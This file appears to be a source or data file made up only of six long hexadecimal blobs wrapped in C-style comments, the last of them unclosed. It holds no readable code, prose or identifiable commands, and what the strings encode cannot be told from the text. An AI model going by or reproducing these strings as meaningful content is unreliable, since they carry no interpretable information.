/*9c19db73ed3f5cef37660635d51f55a5b659e5f65179d1f76cb4f844f54d19fa51af3f53c8b3ea7ae8f7d10d6af60c1a574b0aeb99b111e75ae62d2e32d4e57afa13eaa4bfd19b924d16e53930e3a8e96d5126ba3b78e5429b7f99c798b936ce5c7de3178be0621b392c249cdff358c1b3e06cc6c47f520ee66d93789535894deae57811765d86b447b7dacaaf7b658d658e54b6ed0caf2f6c6258e80072d4a83c6edc43dcfc0676293daa968501088f9c13d0b5cd356e0961ef974aef5554af8e8ebc6d2a17ff1391665f316ac4502365c12b6f0fb17a3bcc471774db09a338125b15e5a3eafc25076e061e566c41c46d5aac2c0da85f168034f8a6e8ff8b73c039725e79b7d7d04543f01dd1ee125fb475bfe41843fdddb98343e09b24e57e267cb983c5592058fb616fac566ed2cc92475f0cb18064e0154c3996281b3b7a728caa6b780dcedc6b14c102acbadfc6abe397bc37451203ee59ba65b57c48d3c4f71ba5daea5780175ecba1e6415cb8b2fa9628ff18128def86a73f50f234f2251e994b2b2556ccfcfecd0df789859e04d9e3ba11e784922ccd7ba05c66a4cb22221eeec3bbea89985c5b5d0c5a9a65eaf58ab781bf8c1f71f041cf4db69d4acb32216be9270404e37b81021a2898693e9b015a80490648dfc5217a25ed886e0a2d15395e5bd08fb2d0d0b639d141461b71ed4a38b8d5f23a75430bc11a089da75c3bf90343776d901bdcc559edfeb4ccde34ffa537d3f63ddfff6a10e2d0d20081e2e721a07b5047ecb329bca602ee58c593e7dd9eead8838f61fab18214db8d94b1c26346834802806caa6b2c4c410818d015065d6b3400adbfed0caa9bd5926480881c2c4d052591a7e670e114d5a3540cb650bec154c9ddcb5de3dde2a7e324a32f416975d3535d2f579785e073c23a33aabe265a51dc37cebfc3fb2a7a1d2d6007861ddd4f3160660fe14b4a836bd2fc9410bf668fadf80fad554592c1bbe254d5489be647f77fc90022a302e0ce1702819b06eb5408b9293b81584b870c1dd4136109c095bfea6d29d8e8dc99bb09c39542e3fd4222dd11e7213264b0db02afd06afbfa7beec61a8a015622111115ed27fb5454cc5c9a5f8f834960563cc153ee0f327b57ea05a2f53922b56d96d84e1c81bbdc5c424535df32cd703a064e63418e925342484ee87f9ddf071422657d828b0841f74e3d120b101119a6bbe43fb52aeeaea32642a2f086a05339af111d2a14f1d1a1bfa00b70519e119c2c5620679d83eee628e043d4c9392d178e4df66ee226bf38e2b34666087406ca223e8c0910070b6bfb3a741cdf1c5dea6eb5875bf0b667b8bdb06b1e3028846df48bba3d408cb56ba7618bc3c10fa2b55570b4cc8f0213693b28aed5d0825361898d849883e83cbf60233cff37e79ac73d62f7c8164a8db6f08d93411121002eb722f00bb4ad47cd1386463be895479200d7ae377db12e6f4491a6c3cb328e608171aea5fa9f7811ff6497e7429ea42245183587049090d6cf351fd07e2d4598a47cf39298840fa14e7598f54cb057b18d242a7dbb1da1565d1ef2774129022e0a9061b4b8591ba8063ca0b08c964756132c3f1b7e2ee759743957e3dd642f1fc3ac0d6003b741d32ef9a503c40b05df629d57f49a97d0b45ba9e45e0a2e5a83400916175bfc6af1f6be85e9d0014a8f61ad9cfa35c86fb8dd78ed36a65e1e13f0bddaea2705b0ab8972dc40996ef76f9c313a174a737e902d3fa89d2b445fd84b8073ec18a10e6b2d7d986701efa0f9ac8e40e16c0bbce8a9157a7d842e5b4e53473e8b9462d63e52d89015ed8ed6ae49c8f19071da6dce0c572b1d5d6cccc370704c376752711b5e840e49a8e34b3106b811733e42c1879ea32b96ef2877bd513cd57e5da9003e2621a03f5021ceba08f69df1d16a45e3a87cbafe7734b1fa6caa9e391f95a95342dc1e911d45f41ba8eb81133cddb3e3436fab7920e72ab46561cb693c37e64989d0922742f03be74bac4df1df368760353f9fab64da0dcdf99af4aed00312e376f0ad8b4ddce53ad07d5b836d605cc847ae1c98c963105279c1806e8e75364bf6d7dc0a54245ffb1c3abd533c52bed4fc2bec326f4c5a386486c17c5ef5d78a1341b0105900008bf986c83317f214cc3d08333dd88ca68c15dca6507b66e122443f9baefcabb55a7b368b1ba391115aa3459d754ceaa9e01abd10952ff6c7285ef2bdb4b0bdbf5724841f4f1a97b47cca3a2f539ec6c4d68b29eb420ad1e12fe9feb1677e34850bf42bffc2db0b9be423067987e89f4464111830f35ce9a5f766ba0b3913f802b5d5b977be4f839d7ad5df141a9f9008b56aa0a522d08a4177279a2a5a53d6aa6c4658fefc5179196b4aa80123ebc4144d844ec3ed891fef5a02f3f8629e9f68e25ff1cc3d616d0ff7eb81ff73123d53f6e0c3d787329ef5348a417159c6ceb48d2e7d531beddf2aa724c00f2762516e38e3725ad8531232084753d3132d5f9e96e296bbe19b87a1471d86a21ab77c6d4473c4f78b913474efc323de861bf340ad5d07827ccc03eceffb2329640e6005215f5e3d488de5b2769b7ffac11970c59b23c6d29184369d5fe6727e3fdea1515828496dabc4e109ac2f85f2bba114f5dfe75bb2d404615475fc4421d2509e0915bb84c599a5d492e6c9c9cdc4d132180fa10173c187c942ba1d89ab5a2c9429917f7c689c02bdededb90feff18f4c4c85cdede98e1b40ddbee3e6319d6fc7c9a9fb2b62904c1dd87f1e8c05fe9c4bc35a15d6005eb0f2523a3b87ce373965a1f50afd7fdb0f4b5f6df01ea8c51ece990c*/
/*3d98ceb4ba7fbc5dbd89f2d50f3d912486d0f7fe8ddfbe014195b667e0ea39db89d6d9b0ae1cdef0305f18cf67712c2a23c975c26deba8d2673c3d7ac5f4c5ea3b1ba1bfc303c43a704f1a96f027aa26142ee84db2cdb232bd4fa1a52302f765ebcf3b7dea8113255d359e313249d8f551cd4a0ef8bc445d5a38dfd876727beecf6921556b5915d7b3ea30e3499abd7f38ebcfc185930fcd0337ac184bcc6a98385a91ed8f058d244ffc5b0e824976e5f651688ddb9a9ebcf5aaed9eb0e5a6fa4806477efd0348d4052ab7a3f5e328e134050d7a197e405b9e060a9e02585cbba5e565333a09eb89de920acf5c3c9a2820eda8b9ae32ee8dc7329e0c224a7e89fe3d3457736465b266a3e685d8b862ec6b56e64d34d5d122456f35d5687dee315545f062577ef895bb6eff4bc6944ac3cedf74fdc219fbedde48e27c94161b2d6ea56a6e7e9a4ac353777c034575c3d5f4b94f124e043e06f14adf329a9611863aa7130dfee91f12d1f7468d3950995c00d7587b3d62b84a73a6ccadf8337f6078ae8beea7825fda108b7992f4eed44ddf516a13bf82b099479081973099438a6cbdb5d55233b529b4833273b71caa02ccfd02843e9a5c08d3b1b2ddd4b1e5d5c4ee741d2db5018dca0845ddbe05103a3d3a85e28c0ce79e70a6259f61ea8a4495bf07fc0d33938a7f16732b6f215da6a50b2cffc1862549febc5c4454574d4f04a214905c189c18dd7e2fa6cd8a796ed473654dc004be26d99f82b360de6bc2c8840ba4fd79fde2eb745712b64d0722132b780d44f96e4a742649ab32a2d81d5107d903dce36d9cfc52a8c8df9cd54a5eb84efbdb71ea7e568d9442a4da6a861a912abee2157a00ef3de2a2df98e6ba9e6ad95cf8dbdce3ddf475ab42966d42cce4de7bb896d7ee9884132061a276bc69b3ae62e343382ab78f7f79b69372c0683cb826841c738ca866f19a00f9df05d86214dc78b8e875b01ea6e56f7f22f2adb0955523a89ac70ee3d21dda3be46955bc1cb37effe0e316b6735c77aa590ab7535c91df79688e8766c1f3bac49aef13bf9911692ae3bd120020c5dbcd70641d8489ff24a83b4889d8f01153765258e6c79387893707e191538c4c4bc0936d421d38a68ae6b7f75bb470dbd96131dbf58deae42f8e2a10a697aa786d259787ce28ccac065a7727f25d4a940517a7185caa1731b15c843655e5682bb966b672b8c7432bbca943aefe4cfd628b57076befb21692e16606d1345d2f13bc9b10017bf0edd417511761b3920fdf28cf89211099b93d0229ce4f7bd2ab7f5a09cb81a918862ecdcb1d27f6e7be584d0d703f2043bf0016750b0b680b919b946bf93260d3abee33801916f6c649c49c385335031b078a04e896eaa04180106cbe213d66e5cdcb139ff6132c6f19cf5ba8c202fbb9306d5c38bfde49a9a2b4996825dbc10684e11cdaa02f822028272cef6b5cbffb25fe41afa8c3783607d7ca4ec0306b735e1f9af99478f8cafd95637a359eae664a4ef69adf81fed754cd4b38cc8da3477392f5fac160d65e35cee8c2b5b0fa69de68f9c480de72bbac31939e04f21f2664497b2af77c3f921bcfa2334c846ebe84f10da6087c82cfb33ddac5a77b570122ffa93cb51b17774e34bd4fb59f03f6ddb69f8bcc9ea284293bee5a58411f211d979c79f3858d30fd8a9316f78c54fbe4c2cc296514d1eed5fc4416e3fb6b8306571589050af01e3053fd688dd1a552e858f6e31bb1d09c19ea912a9e16dde26cfd25d997cfa04495689dccb06e94a1cef33c675893e413b30edd62a756f7b0773a9ab0aae70303fda1108ae3a05f9e502e2dd5eff25ccfc33464dc5e2076c75b1f6eadf17335f69b6d52f1b173a537ed626a747c6d0226ff67e0db68358a9da5bce6c12d291cd60bf1cd952f56ee8289fad7026c6b1f12ef46189718fc324542d6e5edf1036175e129b5e62f6f9c2e8c7806d05bda28919097196f51e9f77551440dedf5d018ed379c3d3353cb43d47a6f95d45e6c5627c090a8f1759db276ab0d1e17419d44bd8801b203ca305da3105530bd99a6e10e56dc3c9fbaebc26ef66a88ddcd4aaf241647cb05b3d86bf040c80f4ac9b7668710eb8cae7a1e90177f470c7b59d99a28da7d94e689a0a27193e9032850b5394dda1a8b3099bb01a07a61e28becf75b9f5be27f2dd296ec7c9243d5aa783157952675e7aa5b2dc1d12ce8dafc78a65e8f70b9c99f361459e7cf4a13257014cebb3c67d5567898a3af0bd16bc516a74c36c4229f8e9d7b1d4010e8ce3cf47b385538846be1557ff231e2e0feb74c33d8a51fe78d654e6766d0000e4663fd8b6fa0b28d0a103497771e63bad4855ab3cd27a55725fd0a6ce510939c41c1a96be1d102bb657cfa40b7066a768e49e08a3120d3ff8adb9025fd6d5bc81dd4e12b7b5b246ecf7986a5c75e4f6855b58cdf7c4e480e872e09ecb3805353fe163ff108fca09ea6227f3435a745ab86913c23593c91a9128efe1167fdcb5a9761234117a1cca8641d8ecbbb759ff2fbf934d4322c5d1a1643f874f9b53f5d3ccbe4fe0723a0a9c449a2919a311529f3999eefb91cac64d4df788e876d4e8381629380f39d24ab8bca2eab3fc6f9da1b9fddca7334ba0056b3c7e47abf1c6d113b7fc5acd41eef017bad99b30455a2bb62b972bb15f45b74621c243b8549e8a7ba00810187fb8d79d41083a0f14dd93ab35c9953d4c506abb7d0bb91ed7bb78d901eceb2f9a319f34b53f5631531e940a6cacb8179842fd21e68c42d867ef7118804961793e9a4bb82c8f697311692fbb9e3fc94d54a53ef51000b*/
/*af1793a083e220783a4ef0f678deee2546c594992eb80c5a0182785ad499fb751ace3e47d3af57394942e145698f7ec308935d8709251171b035110992f0ec5af63bd82a304b6b3437b030797d917688f8ae247f2dd95b1f1909e06e2a44c7d819d69de3077305566ad9c39109928b5449834a5ea5b5e18260cdd26e31fe33f94c3c98843b153751ac1f803ff9c6c17ab5695b4e68d845eba5f80215792bf73e281f508db9c404fd7473ad0ff04a1b66b6867b35581074dac969b16f151d2ee5e3288b55abc7debe2e06511a02a1519f382e19ef4395365d7c404c095af4ecfeec811db8d48f45f9c5a30d19cde6da101fa7d43ade2b473173e2604ff5dcedaa1bf51db15ab31bf37a53eb2fa9cddb81f326be9ab70ef2d55ad56d539284cc273fbeeeeb05137f39819f123558444d169d2218e947979bf9b859484d118ac8191051c68b8984da3a6f817dc1238f23c3f9ee10432dc0c181f7eaad11284271ef01f876a57ed299c915259f4bc71526553b580bd6dd12778e1d405b54fe37f962ddfbb42b5b84460759bca28959f62c4ee62a9135ff1a51f08f422ce185faaac038233f6af793db0d0ca9795c7bfcb6a1e6553014716e1625f85977be9fa071c15f9bfbae38c844839c4c8aabfff7a1bbb0acb7ccb3b7f97f605427ad1845151f4b6b3f33bf8289c4b11cf226aac089162d239afa04be4fdeef95ff073b71dd7419abeec305648d4a1659f234eefe0ee2084630265799f4e297831a5cd941ae235b8a977e66f9febc8eb50bc9a86f0247bbedcb49a30cd8fa831d09e86cd2d36c7540e8311e2cb315a71a1b15495ef3df8edfacfbf20f4e7cfe5e7cef36ee0169da1f8b382f87d16ff9397c3d4ce8f10069b502c7aeb4a8228be178f50fe1f694f3832b6fc1e185642868a41e056e653d43c6b581f92e26ee4ff97d08f3f1bee43cf4e4c66056a78b76236df061052b44437aada1b8c9d05584a4e36a0f1152cc50be2d1e1f7a1904f657970ef0c3772d3c090daccc4f6064df857cf2a71cfb6d448fee0038b745572a687117ec01115f2543ccb1133e77748c97339d9715103008cb521c7e0e35ad3f5d226ac665d883fbeb4a58e760fb1dc9475834c0b458d408a17cfad59a3ca4dc9fa3c572c2b5054c98f570339ef597bed7093240593098c0f52248071bcd4021643f1b016c6801b79df7e798e3dd3d2a2b5a750864e248a9c14440867341f307f54fa618202155c9ab0f99579f896f6d13a64f9c8fe17d42811d0a90d7bf19060de9a0f0ae81add03202ffaf3e417d5f80c7f255223beeeb4a1eed773f1d6b575a6abef3fb63e301a0adb4231627fac5e8978e4b95251b45a07c190de95778730005fb405854ca6544db469471bcfd3a1bf09c35881393d3999e7180a9d43191114c0e49ee0c9e8dcbe869949de945fbfb8c3896e50ab6f9621f0561ff462863e79ccb8c4b304565bb2a31956409fd253d7b2392ad4a1d9c1722fdc89e208c64c8539e3f0f7d882eb8addf53c9adf4171fb5701cb1619cb773fe9ef224ce0c3cbdfa83e43f6525180321c0c7d483d4abdf67dc9b4ed1dca6dcd9e3ed0e64ae04ff6844d8b804d783aaa738fd1b660dba2c82d6eab0d10971a865dd07de51765c522225b679f8c94b53519610755ee7024e3dd3aa3c14c38fedce94640e9ae6f3616b5c52c020c3690e6b4f9bb04ad8e2a87b99c42edee660176c235cba3e9d190c76cea92c205e408a21703957f93d2771cbe8da78a19427d4ef93deba33ebd7899e4c21a0bdd708c437d278048dd508a458192f74cfc373daee0055f5bc5dfe7a99018f9599890fa325afa7fdbd53d749cec5df39dcfe67985570a88e3484a00d01424c3bf13223a1f80742c7062f2b1fc2459ff4e13ab69adc498041ed512b04f28c95c0877d2b76975c124ad1cadfe9eb210140244271111b405bfc79e16fb314a853c5487c7073cc9795134de13a6c55fe193f5d44c9d0b9b2ac6068a563be14796b3885b8ede8adc206b9309db6a839f84535b42d8ce9f64f41224221112730f7c1a201faa06c90012cc086b2318dbbd51bb8430cd0d731b300eb44d9e0d5319766e246b4b5cf9b0f3d154521e10548014440bcb17b3630e97447ea9019d51b5378f9d7866ce8560134452d16ca3d192b124d943ac80727502ce7662a360c598f89c83b54b31046644f8682d45f7544bccb3594686f555527a8f2868daf3794d1e5e5ed8cd29242ef4487c532327e1cdabe879f15944d1ad1397e50fe4fe525b39cd2a5c23ff4aa46c59d8211c4559f3788e15b6250cfdf65dd3fac3b2425f801a957a3eb0a8dce1c2480af32c7dac79b280ece7f0a74f543693d9f1916e65e276595ec4dd10b780b74c93017fbc2b6e0451303bf41557357392f67e377973f7958c172a628bc2f4064028450c2ac3186e2e81811ed164bcfed6d14b0b1b7edf4055ebd4e9812c7e57d5dc5f5f164fe5b54afb29edeed005afafd179145e5552e603c7f15a5c17f97703501e670c1caa6b1c2461e4ed311624f201e24a572bba1e61f4f9a2acd63f28b9c5c481f2c600e4d3235ab61c5045a62e45b7250d61d0eeff150d943590a1572e4763fd7da0aba27a807adcde9a76108491a822e12ce2c4f818a2f0e8f5d92d1611b4215f348799c711ab537023919279e9d3371822cb3c02512b6f0768fde633d61a43b1aa36c6ec002fbf48557ddf7d93cbb8104dd9de8376a6160c0b9d00131bca9cb509d2ac262614fc114e17d0805edeb8fea240a5354156e08f0f6065069d1b3d23a4fd3209af06b5af6890cccadc1e51e94670986bd63a0*/
/*3b2523ddced7ef9606775c823c7a76e293dde990526b2b16b2584c8da127549c93c55d0b9cd62134c26a91a3315d5d60fa5651ef4a1d0088341c0eb4c90c3a5a1ece84f362b8bb6705147558efa05a0d0b2301dd57159d284fb6ca07d75528b0066689e1dca6d94555d9c9618390c01dc19010fdebbc3da99511586ad5d94b328ef460bad5af458d733c47726cfb6bf1782d854b0b90c38c96970580bd98a71e8c5e28c2a966fa7e4fbad5e3ab1881f7c44e926daecc79dd466466c59a0d7d0736afdd1256d1f7738737f83d4cedd05ba03ea949ff3d950977442432b6313693ae752a3edc0f4e8784377cb8c3732d59125ea055060747ffb7e8f12f6bf6b2884533e65611893dde911e91350255c1b07c74ccf89b644decc0b73a58aa5ada955275ffd60c9c5f26ae09b6439b6e2efb028bfaca4e41201c7cf1ce48b06382d1d5c70503e3edb1eea3b1eb86e46d92e983a8b0097a2e45c8f1e12bdf99d24c27390bcdb347aace2ee57af03a7426a2b7bee5551fc5a2bff6641f210e13c6895e30d6d49388b2b2fe4e87a9d8b5d4b0f251f4952c9ff2fc4f74d8498d09dd4ae5d394c1c43c5182e43d5dfa4a76ca83556a8dcbc63c5aab028b5ca13b7a150d24309a6cc21715638a68a988c2239e3b527b73a0a27fcf452f01c4c6451f0809754ef0cdda1b83775976b38b9388222b705c91fae6e734dbffca0f25ef81b20e5ff4d4f395b7e7845a4da287cec6b553bd3308d720e24c42933b80a3003a8ff67f041c88c7df0e588cee08a1f05936bd86b01233896cdc5b35813ffba4ec9eb8e03a57536374f22cb831255464ca26fbb0b204a5c2c7de69b6861ac84ce808fe97a966bd694cbf9de210580a33cb341a74eae30cd29d383815f4b7acd4059f3f5ddea712b6c1ca9181786d2587df90089f4ff2b90a2b17f20a5bb3ffce837a715e808825de0524d476d314ff893ee8d7194e3ecbccf1fba28de4be2956b27cd935ab9c4b01f1a2487e145a7c88b2cff887b69f30417e190d40ffa6811a3ee9047c1f02b2d6bf8e9bb338ef14ead84ef88f24aa278f05821979b0fd37f5303241f83dd5b7bc33576ec56f5f364569b942532166b6ede993757817d40c533d6a8c0138fe8bb21194f173d4897b384ba3d36b756e75ff9959ecee132a2c118952dd0e4fe7db4e702c0cc7295c95080c59970a608947a4c967bbc329f12188caf641fa6c34885a7a4c00ff9ee9393359d54c190ecccdf2e9e8fb4b2bc0759ecd796a89ec397c5e3e1e9c830c9c726860ee152f94304152c2d26d5df4d4e018ae8c1231ffeca413cbf0c6c3df5f47257272426e86a47844a1b351b95380827e63ec3594cfa665c2989bb4d419f76fa593fef519bf9e91c8592e6ad56862d5ae075d14c60c2671f9721afd93474b9991f94bbf6372864b06416c7025311381c66797c93d5354454cd32debd079311e14597e11ce8a5579de3221c81c05777227a60124d97cfa0dc28a625f3aad78387c9ab38a69646255efab751295808b93ed42e98f53d40a0beccd76d6032d1dc15194c7400771a37df08ec309ccc05faa10f637cbe9debea3f109a61a2509414aef142479b217a44a09e88a25cfc13443736145c6ecd17ca425e9f1624803b914713fadfbad15629832b28aa00c8da4105fea438807e43225c5057bb66b8a0ce7e9c24b95c530ae53c15d3451c069fd225ffbfbff43d05b75c3f9f599d7570c006a0f898265ce30f21e6a2348ee64c1066aa3715f22f40c6e4ac04855c914d8d09165081898caa192b349d084a317bba278295dd0811f49dbdd1bf27dda6487aa286e942cf0e1c800ebb8938b198a77ca50346a315b58c7bf4a8f79aac56441536d40e3909c4e91ae35aad60c39db9d5007d2a7f8238ab24f0a92b697831efac4e71ac49c728ba719b7a5e123c6e069f28bd719b18ce4cf42eb3fd716ef91abfa4f9d5b4673a0e51063779047b5cae7f02495f2f189c98f07c5e6f73903b93bffa02094c00abc5ab95f876619f926079838eace98aba6a8e1a7e02f8425140d66dfedd40d05c8567252cefbaa753c2b6883f1777559d21d84ba350aa90aea7dd1a982dbe20dd9cd01c2f50bfeaa813509ab82de3fb334b505c8577324ef961c169b6067f4fb3fc455c5553c18d1a65cfe581ee7ec8d9b7792686825e82cf4780fc490dc5fa34c597c81d397dc51b61db259b05b81e2d3a59a8edf62c5d0d016a0fb1d7b15c42a1bdc8a1e87d6b1d698864ed6018adf8d5838071394ab95cab6e4ffdb3f2a2b3c431d65fcfb6e9ab0a6131b00af6631177b4779d131858915739450730b6d9f3b9f0640d70a19a980780fe871176aadaa0efede3e1a44cd1b42f0b8711e2648e1b807f738f6ad526ae353f773765eb67d0c96a98fb221196d7c89578b3158bf4618b34f8889f899020b2e9fe70b93f2930d0897cf54412a8ca0ab2a5511db645895124ee89eeadbc9a577b6673757735b7cb19945d7c3a0c61cb6f8cb2c25cfd490ad1bfb671c3f5c4664fc2f4fedfb8c9743d05563feeedf18ab2c130bef607b681315b7a0d6595e8a0129527a914d212add3716bfecbd656d03af756b23a03972e7a568dc28b42098a2f634c9a0222e0089891a59cf5c05d57d13ed358128c2590a5fed06730cbee7aa53a3be2bfbdd48c8bafbd506425d106f476a0d1738cb834b29af91ff299fe086400d37c9f9f2814cb768191a2df2b16dd8d914964488afc09d824ddbc34e26608e70feb3309212f019f3099a90f0825367afe7cbbd0350326083c0dedf8a16e8d1d9229f6d6e908f6b1d01e51f1d0d71605fb492bc*/
/*bfcdba886fa7a1f1e4a9e652449aa3ed1c96136cf7789fb7b934a5f95d8db2abc10c36210da6595c58cba6e5b28004a4abe95e12d5bd59104b79ab2aa77f4c0ab30091210af6a4a1a0951832fe4582110209310bd4a2d3596687a787ce99e809b0c995e3affa07d57ebd59625fb5dc11cbe0ffa9d95eeb4875d1aa0aae8ec3ff3e54746b8d91d516d842b06b11611d29ba9252a9090308d3e25fd9a290a373b786b562a87ea8d1d79f81a4c93d7357af4113e8ce9187fec1b95d4320e875a66238a32aae693eac89f28ceb53ca7ff1de8e1d02f6f29e87007d8e7a9b89b2734009349932c5cff1a297ae2260b6c66f1a17a1b4a915377c24a0d0130735278d7925ac19f9ac132a08696e21f245d67d13e5ee944b5a41d13d47744c0b11e959ec72a4d26936dac9092587ee580669aaaca5c35698547042f4f5386fb9b35ea52cd45eebcb6f656215c5bbfa11afc11751216c3c40c58301d68c45cf4abddd17d74a90eb22be41bc7a3314e35aea4ee5aac392ba5bdc7e3bce7873864e4010f0795d9358082e1142d4c727bf1aa97bc3cee1c583fee8551150cfd54dab8389badd5fed0b5d7ae7c9456aa2123ef670e176c13c0251ec0d152431085c038b8569dcbf699f4f58af5f3288d486912034537fe0ddcd8c334a2e5113cc7729ba3fafe262e0fce079c0488620809db231d3f57fff10f13f77a73c88529174aea1c4afb8a1437021b6963f0abd5708d4c4c24f7e32346b537b48f5e4bc13eb7af861fb2a3a762425b5a116d25d1d0457e968782724be9f4245e902102a3dff7a023bee448a910effbb35ac92af80a0edc453f1e4bd30e18351f99b987890078ca5a95b49776191d3b4d97030e3695bd07ebdee4500082463e3603918a26839cf9a3520bc0ed52587783547afd7a842ae27b4491eb5a6b399cd243ab14b4cceff802de6fa2baceda233e1b59f3e9447e1a81b564af68597cba18e99254066c5455e3b850f0233e2b7935193a5eb427b4433348cd77fb9a2061d661c70c44aedae05218fee6375f78735b3151efe887a92171a6d64ff36515399c5f289cb3860cf415fb144da741f638a46688feead1eaeec7b58b9cb89ede87a1a958bfb7e76e5a03cb76ceba4940d6e621a84f80b7a7148ad548040dc69d6854225d8c687bfdddc1b62bdde78f10c79b8132822ba7cf54bb5f084ff1a97b9908d7680271dec7fad67a4999c6e103eb78ca517eb37692635b9eb5e78afd4369099b86ee33307d4368a115bc64e7b0512ea189497da8d9bb3c4aa034aff6548f73b8da62d345b76e7770fde4500c5c2d517fc2989b5f5f35a41ced02e38e4c197c82fecbfc281609f0e56da57e774215a722d285f2c4d1087da51910223fe1ca73229299d64b048919793c07a74f50591659eb524ab38168dc14dff3d9f6121cf21cbbc84fd739c912ef2ca55a45306c6a6f90bd4d3e37d06934c6c734c8ab2f428052f2d774875266aba2eba2c9b27bb9d6c1417f189523276d6a9f0498297b1dedd8ac195266ece3046d94df8d3ba0c5d97d2b60148eec412b0a5311834ded76a7e64e9b770c6a439119f6403c9f8a6bb4b7cab262c673666d834b8c08276b6e72cf456dfb73ba4ee50c3a2aca066aea14b3373f4eb1b527e5695f3236d1b48b423eefdabd8c91cc4e910532d2605ecc6f04afc8e37527cb4693ed4633657394a5ab7282eee397d6eb07e2c4edc68dd4d664e97bf5d7ce7df7254f56b1719e15964393bc2b5ed006c195c405c18a29541c5f5d4fe054186439be31e1a7e794edf55faa1043f944fff79336d44a03e023f1237fbb4a56f1827f57bf701430063b0b6957dcc081e05479ab9899f19aed5bc667478b2edf6f6709cff4f691ee381d9f0607e3388e9b5a99fb5fa28701ad0394dcc624b491c6be0e7649aeda82b6d8739400bf03bdff5ee16c21cf32ba61814a4275970cb36d1daf606ec3d94747f80edd34f3fda03f0f80aa808620095873d723a389214e642dffba0d2cde271b5be3f68d81dcfe28b1fead657ae412fbb54aff834181b535375baa60b7d89d9bcb10fe8e278d4e5224880f4b4d6804fafbffc51a28e9983dc0e5f92696673666efb7b1dd0d9c021cb21c4184e8ff903016d2f852260403c213397613f1483a22bf927917c78c50784e54817962c4a4730067b714b9a2171b458b7e7fd3dc348595a50d13b1efafe3367b98e83fc4fce7a95d4386288550cf4aad57452db6c58423e2e98d9cff46419165a934c8797ccf7dd4f536bb456ac18fdd8f27b425cde9a16ce8d7ed1077815f20c296634d705b6b16b6e2ff417e4a0e166071f56a1b1548480469648ed2da394c3af7639128ca6ea31dca346af84ab14c0b62d83cb41b04e84a8bafa03e92d7a1e8338c07ba34fde169aaea8ce34bc143ac8d5d30568d16fec12bf222e515e3eed254a175dc636e6f983d836c6ba36c1f4f2192536deb43c577e35cf1b78c61ff8c4ef1db0afa0e7ef2179d9188c7178620094b58a8163994455f6687f0c08008263b37256c522847a0d66f68f4f53f5c296b88b7c981a209c0925c922f6cce9e4999df5a1438f4c644f6b4d98dfef86cf889e21f2bd64f7d67179da9ea1bccff8835ea7f24b49af7dee73bad3b871e4c1cfd236cc6b49c280da127f1a32ac1a08adde2c6ed0b40e4a18df570d770c7264b90ef2b085bdf3352fae0ba84cb8e983f9829fe887f1575d5ecc1f413312d23a73d83cb4156649e66d99bc177a4a921131366937238ee1174a16e87f12469dafcaf4406701d2d975ca3690ef8d3f2f03ec614656f216e0ed82705e90f32e53a6e5*/
/*7f5fcc2d5c83bd735ce3aeaa2014858d5a25c6c1cbeab6913b92c4ba110952cfe152bfe44bb719feae5f071d34412385c53bf9aa0b10118db046645dc8f84b1436888e03f874829f0392f24160f8271e359a8e95cc75452b849f8c90d2193f46ab0c1e26f3c878a602ae78bb28e1acca94e8d7f4cf11dff81e41ca100a29ccad2f7661b3f07b3029c2b4271534fbd406e2adc7a0e04ca37b2512a7ecdbc03948ac976cac3b42657413af73432aac30548b40749a8acfbc5a601257b2a41d52113254a4cb79d37d06e5d8d02881948cd5fb8a2ad31c246023bdebd8eb3e70a3e28ebc1e93feb5965ea7be0fc8ccc578bc4094c4dabc1b88a100a1f4f8a8cada7bbcca40db83df3b7dd1248c524775ea59b7f78d5503796e0c71c7d9ecb293a769593802a7bd16a0759ecfe1f73d1b6311296485330ea141b07d13b83a6d41d29edefb0907e732945e7d43b603657abf21574543d1ebca8ba9aed47afae95c469faa825d26e29a63371a365796009ffac8c19612e0e18b1df762065ab7c1199eaca28410c1372538e08b90b66974b6dd399909c86500901fe6bbf33ed682e8c0ea1ed76786759772f40c080ed1432183bdcc58f8541b7a235b9487acf3da1e4b23b2492dbf9b7e732ac637c13f007b07c85757035824a159d8f558b045de9bba6cebdb979c75b8bcc810ffdcc37bc13d14cfcdcc46d73d126f5cb4c17161c13ccb58560a5895266a11c8da6000f9c2975caa4935c0c36af24fef035f3e70df3eb745ffb8c24180f56249a8e565003b3b33e2edc09390ad844f226bd76c1c4c625dee3db301695fb3a437240ad69033dd0b4980852c731422c3485ccd6e6edc9956fe141cd317b6e9f26ca97e1029f8a6518992f791732f5a80c08b77ad2a04a5fbda5a6fdc6a2e77009730820995632e5a3a76610782c98720751cfbd751f5e5c4bde6fac396c038351aa8c81871a32b2606d1b2903f14c2f9ca27e043cbc9eb14514b68a095eb28278283e294bdb563eb27e3948d0ebeda386c7ce56f0b46fa20fafa7e1e84ab3edcc49cf1343ff1159204be7280e975740785cdded791939b572d696f9f3784689d89fecae0f421c71de1790513dc0040ab90b3cd52b5f954287ec17e3deffd1217f2826e51dcf50837998eb4b78f4869c65e76d02203648df2838d311be70d0f66e0dfea4dd1b6a3ccca5c7fc538e14edaff7743784803bef09047024846c5ed0e36600991ffab8c3bfa7e820a34db85ea1a9672808db0b72d236eb5ca911fac929839f3b410b1bccf269623ee5a18b5d812cdac3dc174fe3579113a769a37fef0330f64a96beda7223933b588e4a8398eea480d6c03df39736683d397a04d1779c4fd5235e31f2384af4e37cf4e486f888a77809f49d9bd997c1a72f51d15af17397b1e2d0479ab9dfef492e208b6256fcff02c40f6cec21e94f6c96ce3f64c786a2faa8b3f2b6711315f44aa44daae313e3e426f72b34fd7d4585c721f20728ab3c5680fbe66d1c003f7e753c352b24a430769847430564e5ed05aacdcdabe548e017403b20998ecc7d571b7770236085c6329e63e91f8eade87bd03ae2b18b5c34e2aae729dac67490aaa1c1ea1423dfe2a5038d58f527f26def836be0c64660f01bc13bbcec32ce0f5aa2ed7fcfa913534a1d997f2a87a215e09fc578b7f08aa4ee4e09d8e4d3ff41398aa291792250bdc2dfae5808c64145af1a47110735418e05fb86f714bc92c1fbf8d3be7ca06e2507d090403cec2543b41239575a068a8885506d2213eb6b7bc335dd8410dda10f82372d721d974d1cc72b73de97b29bfc824c74ffb71ffa22c802062cd45a9eba34bd74aafc68b388d6d99404ca818fdd5b8deb8ae877621d3eabeaded5166d50dd4c140a686dabfd1a804c687daefa9f450fb8b551af7368c4034119127bbddbb8e06b6c4e6279f22401327d9b63e7adb12f01c52fbe9c1e07c94bbf10672a0c31c60bbb7bf05476f7d75185ace1525e30ba84ff1c16a5288c2a56c170b7255c367ff3437e87bb8058b509f70360a5d19cb5d4f8ad5f334b6d60af24dc6633d8b1cd4480ea76796055b9180ae5519e501e769401924712e6d79f39f543c12ca6e3cdcd345687b4c6b42d3528919dfcb399e4c6a